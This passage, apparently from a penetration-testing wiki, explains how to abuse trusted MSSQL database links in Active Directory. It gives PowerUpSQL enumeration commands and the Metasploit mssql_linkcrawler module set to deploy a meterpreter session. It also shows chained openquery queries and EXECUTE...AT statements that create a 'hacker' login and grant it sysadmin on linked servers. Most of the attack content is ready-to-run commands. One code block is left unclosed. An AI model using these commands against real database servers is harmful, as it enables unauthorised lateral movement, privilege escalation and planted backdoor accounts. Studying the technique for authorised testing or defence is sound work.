If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host \(if running as SA\).
Also, if a MSSQL instance is trusted \(database link\) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
**The links between databases work even across forest trusts.**
### **Powershell**
```bash
Import-Module .\PowerupSQL.psd1
#Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
You can easily check for trusted links using metasploit.
```bash
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
Notice that metasploit will try to abuse only the `openquery()` function in MSSQL \(so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.\)
### Manual - Openquery\(\)
From Linux you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py** and run queries like:
```bash
select * from openquery("DOMINIO\SERVER1",'select * from openquery("DOMINIO\SERVER2",''select * from master..sysservers'')')
```
From Windows you could also find the links and execute commands manually using a MSSQL client like [HeidiSQL](https://www.heidisql.com/)
_Login using Windows authentication:_
![](../../.gitbook/assets/image%20%28289%29.png)
_Find links inside the accessible MSSQL server \(in this case the link is to dcorp-sql1\):_
`select * from master..sysservers`
![](../../.gitbook/assets/image%20%28315%29.png)
Execute queries through the link \(example: find more links in the new accessible instance\):
`select * from openquery("dcorp-sql1", 'select * from master..sysservers')`
![](../../.gitbook/assets/image%20%28298%29.png)
You can continue these trusted links chain forever manually.
Some times you won't be able to perform actions like `exec xp_cmdshell` from `openquery()` in those cases it might be worth it to test the following method:
### Manual - EXECUTE
You can also abuse trusted links using EXECUTE:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"